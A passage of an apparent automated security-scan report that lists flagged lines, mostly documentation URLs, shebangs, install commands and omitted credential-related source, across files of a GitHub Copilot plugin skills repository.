    ![Screenshot of a GitHub Markdown table rendered as two equal columns. Headers are shown in boldface, and alternate content rows have gray shading.](https://docs.github.com/assets/images/help/writing/table-basic-rendered.png)
  • Network accessline 30
    ![Screenshot of a GitHub Markdown table with two columns of differing width. Rows list the commands "git status" and "git diff" and their descriptions.](https://docs.github.com/assets/images/help/writing/table-varied-columns-rendered.png)
  • Network accessline 32
    If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/get-started
  • Network accessline 36
    You can use [formatting](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) such as links, inline code blocks, and text styling within your table:
  • Network accessline 45
    ![Screenshot of a GitHub Markdown table with the commands formatted as code blocks. Bold and italic formatting are used in the descriptions.](https://docs.github.com/assets/images/help/writing/table-inline-formatting-rendered.png)
  • Network accessline 56
    ![Screenshot of a Markdown table with three columns as rendered on GitHub, showing how text within cells can be set to align left, center, or right.](https://docs.github.com/assets/images/help/writing/table-aligned-text-rendered.png)
  • Network accessline 67
    ![Screenshot of a Markdown table as rendered on GitHub showing how pipes, which normally close cells, are shown when prefaced by a backslash.](https://docs.github.com/assets/images/help/writing/table-escaped-character-rendered.png)
  • Network accessline 71
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 72
    * [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)

harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/writing-mathematical-expressions-to-html.md

  • Network accessline 14
    <p>This sentence uses <code>$</code> delimiters to show math inline:  <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 15
    <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 45
    <p>This sentence uses  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 46
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <mo>‘</mo>
  • Network accessline 47
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 54
    </math-renderer> delimiters to show math inline:  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 55
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <msqrt>
  • Network accessline 56
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 92
    <strong>The Cauchy-Schwarz Inequality</strong><br>   <math-renderer>     <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 93
    <math-renderer>     <math xmlns="http://www.w3.org/1998/Math/MathML">       <msup>
  • Network accessline 94
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 176
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 177
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 252
    <p>The equation  <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 253
    <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 283
    <p><math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 317
    <code>\$</code> to display a dollar sign:  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 318
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <msqrt>
  • Network accessline 319
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 339
    <span>$</span>100 in half, we calculate  <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 340
    <math-renderer>   <math xmlns="http://www.w3.org/1998/Math/MathML">    <mn>100</mn>
  • Network accessline 341
    <math xmlns="http://www.w3.org/1998/Math/MathML">

harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/writing-mathematical-expressions.md

  • Network accessline 7
    To enable clear communication of mathematical expressions, GitHub supports LaTeX formatted math within Markdown. For more information, see [LaTeX/Mathematics](http://en.wikibooks.org/wiki/LaTeX/Mathematics) in Wikibooks.
  • Network accessline 9
    GitHub's math rendering capability uses MathJax; an open source, JavaScript-based display engine. MathJax supports a wide range of LaTeX macros, and several useful accessibility extensions. For more information, see [the MathJax documentati
  • Network accessline 15
    There are two options for delimiting a math expression inline with your text. You can either surround the expression with dollar symbols (`$`), or start the expression with <code>$\`</code> and end it with <code>\`$</code>. The latter synta
  • Network accessline 21
    ![Screenshot of rendered Markdown showing an inline mathematical expression: the square root of 3x minus 1 plus (1 plus x) squared.](https://docs.github.com/assets/images/help/writing/inline-math-markdown-rendering.png)
  • Network accessline 27
    ![Screenshot of rendered Markdown showing an inline mathematical expression with backtick syntax: the square root of 3x minus 1 plus (1 plus x) squared.](https://docs.github.com/assets/images/help/writing/inline-backtick-math-markdown-rende
  • Network accessline 33
    >  [!TIP] If you're writing in an .md file, you will need to use specific formatting to create a line break, such as ending the line with a backslash as shown in the example below. For more information on line breaks in Markdown, see [Basic
  • Network accessline 40
    ![Screenshot of rendered Markdown showing a complex equation. Bold text reads "The Cauchy-Schwarz Inequality" above the formula for the inequality.](https://docs.github.com/assets/images/help/writing/math-expression-as-a-block-rendering.png
  • Network accessline 62
    ![Screenshot of rendered Markdown showing how a backslash before a dollar sign displays the sign as part of a mathematical expression.](https://docs.github.com/assets/images/help/writing/dollar-sign-within-math-expression.png)
  • Network accessline 70
    ![Screenshot of rendered Markdown showing how span tags around a dollar sign display the sign as inline text not as part of a mathematical equation.](https://docs.github.com/assets/images/help/writing/dollar-sign-inline-math-expression.png)
  • Network accessline 74
    * [The MathJax website](http://mathjax.org)
  • Network accessline 75
    * [Getting started with writing and formatting on GitHub](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github)
  • Network accessline 76
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)

harness/github-copilot/plugins/code-quality-refactoring/skills/em-dash/SKILL.md

  • Network accessline 105
    - [Case for the em dash](https://www.hardingproject.com/p/the-case-for-the-em-dash)
  • Network accessline 106
    - [em dash guide](https://www.thebookrefinery.com/writing/guide-hyphens-en-dashes-em-dashes/)
  • Network accessline 107
    - [Explaining the em dash](https://www.reddit.com/r/writers/comments/1lv191m/can_someone_explain_em_dash/)
  • Network accessline 108
    - [em dash wikipedia](https://en.wikipedia.org/wiki/Dash)
  • Network accessline 109
    - [Verbose em dash history](https://www.linkedin.com/pulse/long-mark-brief-history-em-dash-christian-buckley-z1lbc)
  • Network accessline 110
    - [Brief em dash history](https://thaothai.substack.com/p/a-brief-history-of-the-em-dash)
  • Network accessline 111
    - [em dash punctuation](https://www.nytimes.com/2019/08/14/style/em-dash-punctuation.html)
  • Network accessline 112
    - [em dash in retrospective](https://medium.com/the-jabber-journal/an-era-to-its-knee-an-em-dash-retrospective-cb5c3c52e4d2)
  • Network accessline 113
    - [Punctuation](https://www.niu.edu/writing-tutorial/punctuation/index.shtml)
  • Network accessline 114
    - [Punctuation Guide](https://www.thepunctuationguide.com/)

harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/LICENSE.txt

  • Network accessline 1
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 3
    http://www.apache.org/licenses/
  • Network accessline 184
    http://www.apache.org/licenses/LICENSE-2.0

harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/SKILL.md

  • Network accessline 11
    metadata:   author: "Andrew Stellman"   github: "https://github.com/andrewstellman/quality-playbook"
  • Network accessline 12
    author: "Andrew Stellman"   github: "https://github.com/andrewstellman/quality-playbook"   version: "1.5.6"
  • Network accessline 13
    github: "https://github.com/andrewstellman/quality-playbook"
  • Network accessline 55
    > Quality Playbook v1.5.6 — by Andrew Stellman > https://github.com/andrewstellman/quality-playbook
  • Network accessline 56
    > https://github.com/andrewstellman/quality-playbook
  • Network accessline 255
    - https://github.com/andrewstellman/quality-playbook

harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/agents/calibration_orchestrator.md

  • Dangerous shell operationline 99
    3. Reset the benchmark's `quality/` to a known-empty state: `cp -r repos/archive/<bench>/quality/previous_runs/<latest>/ /tmp/save-<bench>/ && rm -rf repos/archive/<bench>/quality/* && cp -r /tmp/save-<bench>/quality/* repos/archive/<bench>

harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/agents/quality-playbook-claude.agent.md

  • Network accessline 58
    **If not found**, tell the user to install it from https://github.com/andrewstellman/quality-playbook and stop.

harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/agents/quality-playbook.agent.md

  • Network accessline 54
    > The quality playbook skill isn't installed in this repository yet. Install it from the [quality-playbook repository](https://github.com/andrewstellman/quality-playbook):

harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/quality_gate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/references/extended-guide.md

  • Network accessline 1081
    > Generated by [Quality Playbook](https://github.com/andrewstellman/quality-playbook) v1.5.3 — Andrew Stellman
  • Network accessline 1088
    # Generated by Quality Playbook v1.5.6 — https://github.com/andrewstellman/quality-playbook

harness/github-copilot/plugins/code-quality-refactoring/skills/quality-playbook/references/review_protocols.md

  • Access to secretsline 425
    [Credential-related source omitted]

harness/github-copilot/plugins/codebase-blueprints/skills/acquire-codebase-knowledge/references/inquiry-checkpoints.md

  • Network accessline 46
    - What external APIs are called? (search for `axios.`, `fetch(`, `http.Get(`, base URLs in constants)

harness/github-copilot/plugins/codebase-blueprints/skills/acquire-codebase-knowledge/scripts/scan.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/convert-to-md/skills/convert-excel-to-md/references/setup.md

  • Dangerous shell operationline 16
    - Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`

harness/github-copilot/plugins/convert-to-md/skills/convert-excel-to-md/scripts/convert_excel_to_md.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 64
    _REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships"
  • Network accessline 65
    _MAIN_NS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main"
  • Network accessline 66
    _R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 67
    _A_NS = "http://schemas.openxmlformats.org/drawingml/2006/main"

harness/github-copilot/plugins/convert-to-md/skills/convert-pdf-to-md/references/setup.md

  • Dangerous shell operationline 16
    - Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`

harness/github-copilot/plugins/convert-to-md/skills/convert-pdf-to-md/scripts/convert_pdf_to_md.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/convert-to-md/skills/convert-word-to-md/references/setup.md

  • Dangerous shell operationline 16
    - Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`

harness/github-copilot/plugins/convert-to-md/skills/convert-word-to-md/scripts/convert_word_to_md.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 53
    _W_NS = "http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 54
    _R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 55
    _REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships"

harness/github-copilot/plugins/copilot-customization-authoring/skills/agent-skill-stack/references/security-installation.md

  • Access to secretsline 18
    [Credential-related source omitted]

harness/github-copilot/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/inventory_skills.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 32
    [Credential-related source omitted]

harness/github-copilot/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/project_profile.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/render_stack_card.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 80
    parts = [         f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">',
  • Network accessline 81
    f'<svg xmlns="http://www.w3.org/2000/svg" width="{width}" height="{height}" viewBox="0 0 {width} {height}" role="img" aria-labelledby="title desc">',

harness/github-copilot/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/skill_index.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/copilot-customization-authoring/skills/agent-skill-stack/scripts/stage_install.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/copilot-customization-authoring/skills/ai-ready/SKILL.md

  • Network accessline 21
    This local skill is a wrapper. The full `ai-ready` skill by John Papa is large, changes frequently, and remains authoritative at `https://github.com/johnpapa/ai-ready`. John Papa's GitHub profile is `https://github.com/johnpapa`.
  • Network accessline 94
    - [ ] The user is told that `https://github.com/johnpapa/ai-ready` is the source of truth.
  • Network accessline 103
    - [John Papa](https://github.com/johnpapa)
  • Network accessline 104
    - [johnpapa/ai-ready](https://github.com/johnpapa/ai-ready)

harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-cli-quickstart/SKILL.md

  • Network accessline 162
    > Getting started is easy! Here's how:   >-  **Already have GitHub CLI?** `gh copilot` (built-in, no install needed)   >-  **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot`
  • Network accessline 163
    >-  **Already have GitHub CLI?** `gh copilot` (built-in, no install needed)   >-  **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot`   >-  **Requires:** A GitHub Copilot subscrip
  • Network accessline 164
    >-  **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot`
  • Network accessline 165
    >-  **Requires:** A GitHub Copilot subscription ([check here](https://github.com/settings/copilot))
  • Network accessline 195
    - **If subscription issues:** "It looks like Copilot might not be enabled for your account. Check [github.com/settings/copilot](https://github.com/settings/copilot) to confirm you have an active subscription. If you're in an organization, y

harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-cli-quickstart/references/extended-guide.md

  • Network accessline 465
    • /model — try different AI models    • /mcp — extend with MCP servers    • https://docs.github.com/copilot — official docs
  • Network accessline 467
    • https://docs.github.com/copilot — official docs
  • Network accessline 485
    • Try the Developer track for deeper skills    • /help — see ALL available commands    • https://docs.github.com/copilot — official docs
  • Network accessline 487
    • https://docs.github.com/copilot — official docs
  • Network accessline 496
    1. **Consult the latest docs** (for example, https://docs.github.com/copilot) or any available local documentation tools to ensure accuracy
  • Network accessline 545
    ### If `fetch_copilot_cli_documentation` fails or returns empty: - Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot "
  • Network accessline 546
    - Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot " - Never fabricate features or commands
  • Network accessline 547
    - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot "

harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-enterprise-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-enterprise-user-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-org-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-org-user-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/copilot-customization-authoring/skills/github-copilot-starter/SKILL.md

  • Network accessline 33
    1. Inspect the repository for stack signals before asking questions. 2. Research `awesome-copilot` examples with web fetch before generating content:    - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md
  • Network accessline 34
    2. Research `awesome-copilot` examples with web fetch before generating content:    - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md    - https://github.com/github/awesome-copilot/blob/main/docs/README.agent
  • Network accessline 35
    - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md
  • Network accessline 36
    - https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md
  • Network accessline 37
    - https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md
  • Network accessline 38
    - https://github.com/github/awesome-copilot/tree/main/instructions
  • Network accessline 39
    - https://github.com/github/awesome-copilot/tree/main/agents
  • Network accessline 40
    - https://github.com/github/awesome-copilot/tree/main/skills
  • Network accessline 119
    <!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/{filename}.instructions.md -->
  • Network accessline 140
    <!-- Based on: https://github.com/github/awesome-copilot/blob/main/instructions/nodejs-javascript-vitest.instructions.md -->
  • Network accessline 141
    <!-- Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md -->
  • Network accessline 142
    <!-- and: https://github.com/github/awesome-copilot/blob/main/instructions/springboot.instructions.md -->
  • Network accessline 171
    <!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/agents/{filename}.agent.md -->
  • Network accessline 274
    - [awesome-copilot instructions docs](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md)
  • Network accessline 275
    - [awesome-copilot agents docs](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md)
  • Network accessline 276
    - [awesome-copilot skills docs](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md)
  • Network accessline 277
    - [awesome-copilot instructions directory](https://github.com/github/awesome-copilot/tree/main/instructions)
  • Network accessline 278
    - [awesome-copilot agents directory](https://github.com/github/awesome-copilot/tree/main/agents)
  • Network accessline 279
    - [awesome-copilot skills directory](https://github.com/github/awesome-copilot/tree/main/skills)

harness/github-copilot/plugins/copilot-customization-authoring/skills/harness-engineering/SKILL.md

  • Network accessline 120
    The prompt-first harness workflow at `https://github.com/baskduf/harness-starter-kit` is optional reference material only when the user asks for it or the target repository already uses it. Do not let that reference override repository evid
  • Network accessline 157
    - [Harness starter kit](https://github.com/baskduf/harness-starter-kit)

harness/github-copilot/plugins/copilot-customization-authoring/skills/lsp-setup/SKILL.md

  • Network accessline 133
    - [VS Code known language identifiers](https://code.visualstudio.com/docs/languages/identifiers#_known-language-identifiers)

harness/github-copilot/plugins/copilot-customization-authoring/skills/lsp-setup/references/lsp-servers.md

  • Network accessline 11
    **Server**: [typescript-language-server](https://github.com/typescript-language-server/typescript-language-server)
  • Network accessline 40
    **Server**: [Eclipse JDT Language Server (jdtls)](https://github.com/eclipse-jdtls/eclipse.jdt.ls)
  • Network accessline 47
    |---------|-----------------------------------| | macOS   | `brew install jdtls`              | | Linux   | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ |
  • Network accessline 48
    | macOS   | `brew install jdtls`              | | Linux   | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | | Windows | Download from https://download.eclipse.
  • Network accessline 49
    | Linux   | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ |
  • Network accessline 50
    | Windows | Download from https://download.eclipse.org/jdtls/milestones/ and add `bin/` to `PATH` |
  • Network accessline 68
    > **Note**: The `jdtls` wrapper script handles `--stdio` mode internally. If using a manual install, you may need to invoke the launcher jar directly — see the [jdtls README](https://github.com/eclipse-jdtls/eclipse.jdt.ls#running-from-comm
  • Network accessline 74
    **Server**: [pyright](https://github.com/microsoft/pyright)
  • Network accessline 101
    **Server**: [gopls](https://github.com/golang/tools/tree/master/gopls)
  • Network accessline 128
    **Server**: [rust-analyzer](https://github.com/rust-lang/rust-analyzer)
  • Network accessline 157
    **Server**: [clangd](https://clangd.llvm.org/)
  • Network accessline 163
    | macOS   | `brew install llvm` (clangd included) or Xcode command line tools | | Linux   | `apt install clangd` / `dnf install clang-tools-extra` | | Windows | Download LLVM from https://releases.llvm.org/ |
  • Network accessline 165
    | Windows | Download LLVM from https://releases.llvm.org/ |
  • Network accessline 191
    **Server**: [Roslyn Language Server](https://github.com/dotnet/roslyn) (via `dotnet dnx`)
  • Network accessline 195
    | OS      | Command                                                        | |---------|----------------------------------------------------------------| | Any     | Requires the [.NET SDK](https://dot.net/download) installed    |
  • Network accessline 197
    | Any     | Requires the [.NET SDK](https://dot.net/download) installed    |
  • Network accessline 217
    **Server**: [solargraph](https://github.com/castwide/solargraph)
  • Network accessline 245
    **Server**: [intelephense](https://github.com/bmewburn/vscode-intelephense)
  • Network accessline 271
    **Server**: [kotlin-language-server](https://github.com/fwcd/kotlin-language-server)
  • Network accessline 299
    **Server**: [sourcekit-lsp](https://github.com/swiftlang/sourcekit-lsp) (bundled with Swift toolchain)
  • Network accessline 304
    |---------|----------------------------------------------------------------| | macOS   | Included with Xcode; binary at `xcrun sourcekit-lsp`           | | Linux   | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 305
    | macOS   | Included with Xcode; binary at `xcrun sourcekit-lsp`           | | Linux   | Included with Swift toolchain; install from https://swift.org  | | Windows | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 306
    | Linux   | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 307
    | Windows | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 329
    **Server**: [lua-language-server](https://github.com/LuaLS/lua-language-server)
  • Network accessline 357
    **Server**: [yaml-language-server](https://github.com/redhat-developer/yaml-language-server)
  • Network accessline 384
    **Server**: [bash-language-server](https://github.com/bash-lsp/bash-language-server)

harness/github-copilot/plugins/copilot-customization-authoring/skills/microsoft-skill-creator/SKILL.md

  • Network accessline 4
    Create hybrid GitHub Copilot skills for Microsoft technologies using Microsoft Learn MCP tools or the mslearn CLI. Use this skill when the user asks to create a skill for Azure, .NET, Microsoft 365, VS Code, Bicep, Semantic Kernel, a Micros
  • Network accessline 5
    metadata:   compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback."   context: "fork"
  • Network accessline 6
    compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback."
  • Network accessline 24
    - Prefer the Microsoft Learn MCP Server at `https://learn.microsoft.com/api/mcp` when available.
  • Network accessline 99
    For a Semantic Kernel skill, use `semantic-kernel/`, `sample_codes/getting-started/hello-kernel.cs`, `sample_codes/common-patterns/chat-completion.cs`, and `sample_codes/common-patterns/function-calling.cs`. Useful seed lookups include `mic
  • Network accessline 151
    - [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)
  • Network accessline 152
    - [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/)
  • Network accessline 153
    - [Semantic Kernel agent memory](https://learn.microsoft.com/en-us/semantic-kernel/frameworks/agent/agent-memory)

harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/references/lint.md

  • Dangerous shell operationline 48
    # rm wiki/{category}/{slug}.md

harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/config.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 19
    [Credential-related source omitted]

harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/contextgraph.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/template_agent_workflow.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/__init__.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/documents_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 27
    [Credential-related source omitted]

harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/graph_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 21
    [Credential-related source omitted]

harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/index_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 20
    [Credential-related source omitted]

harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/ontology_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 20
    [Credential-related source omitted]

harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/retrieval_engine.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/wiki_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 30
    [Credential-related source omitted]

harness/github-copilot/plugins/copilot-customization-authoring/skills/skill-creator/assets/eval_review.html

  • Dangerous shell operationline 81
    const rm = document.createElement("button");

harness/github-copilot/plugins/copilot-customization-authoring/skills/skill-creator/eval-viewer/generate_review.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 99
    const a=document.createElement('a');a.href=URL.createObjectURL(blob);a.download='feedback.json';a.click();   }else{     fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})
  • Network accessline 100
    }else{     fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})       .then(()=>alert('Feedback saved. You can return to the assistant.'))
  • Network accessline 101
    fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})
  • Network accessline 198
    with socketserver.TCPServer(("127.0.0.1", port), Handler) as httpd:         url = f"http://127.0.0.1:{port}/"
  • Network accessline 199
    url = f"http://127.0.0.1:{port}/"

harness/github-copilot/plugins/copilot-customization-authoring/skills/skill-creator/scripts/test_validate_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/copilot-customization-authoring/skills/skill-creator/scripts/validate_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/copilot-customization-authoring/skills/steno-mode/SKILL.md

  • Access to secretsline 45
    [Credential-related source omitted]

harness/github-copilot/plugins/copilot-customization-authoring/skills/vardoger-analyze/SKILL.md

  • Network accessline 53
    If you do not have pipx, see https://pipx.pypa.io/stable/.
  • Network accessline 55
    Project page: https://github.com/dstrupl/vardoger
  • Network accessline 163
    - [pipx documentation](https://pipx.pypa.io/stable/)
  • Network accessline 164
    - [vardoger project](https://github.com/dstrupl/vardoger)

harness/github-copilot/plugins/copilot-sdk/skills/copilot-sdk/SKILL.md

  • Network accessline 30
    1. **GitHub Copilot CLI** installed and authenticated ([Installation guide](https://docs.github.com/en/copilot/how-tos/set-up/install-copilot-cli))
  • Network accessline 254
    - https://docs.github.com/en/copilot/how-tos/set-up/install-copilot-cli

harness/github-copilot/plugins/copilot-sdk/skills/copilot-sdk/references/extended-guide.md

  • Network accessline 350
    github: {             type: "http",             url: "https://api.githubcopilot.com/mcp/",
  • Network accessline 351
    type: "http",             url: "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 352
    url: "https://api.githubcopilot.com/mcp/",
  • Network accessline 364
    "github": {             "type": "http",             "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 365
    "type": "http",             "url": "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 366
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 378
    "github": {             "type": "http",             "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 379
    "type": "http",             "url": "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 380
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 395
    {             Type = "http",             Url = "https://api.githubcopilot.com/mcp/",
  • Network accessline 396
    Type = "http",             Url = "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 397
    Url = "https://api.githubcopilot.com/mcp/",
  • Network accessline 704
    - **GitHub Repository**: https://github.com/github/copilot-sdk
  • Network accessline 705
    - **Getting Started Tutorial**: https://github.com/github/copilot-sdk
  • Network accessline 706
    - **GitHub MCP Server**: https://github.com/github/github-mcp-server
  • Network accessline 707
    - **MCP Servers Directory**: https://github.com/modelcontextprotocol/servers
  • Network accessline 708
    - **Cookbook**: https://github.com/github/copilot-sdk
  • Network accessline 709
    - **Samples**: https://github.com/github/copilot-sdk

harness/github-copilot/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/references/extended-guide.md

  • Network accessline 821
    - [Changelog](https://ai-scripting.docsforadobe.dev/introduction/changelog/) - Recent scripting API changes (CC 2020 added `Document.getPageItemFromUuid` and `PageItem.uuid`; CC 2017 added `Application.getIsFileOpen`)
  • Network accessline 822
    - [Illustrator Scripting Guide](https://ai-scripting.docsforadobe.dev/) - Full community-maintained documentation

harness/github-copilot/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/scripts/batch-export-png.jsx

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/scripts/create-color-grid.jsx

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/scripts/find-replace-text.jsx

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/creative-media-tooling/skills/freecad-scripts/SKILL.md

  • Network accessline 196
    - [Writing Python code](https://wiki.freecad.org/Manual:A_gentle_introduction#Writing_Python_code)
  • Network accessline 197
    - [Manipulating FreeCAD objects](https://wiki.freecad.org/Manual:A_gentle_introduction#Manipulating_FreeCAD_objects)
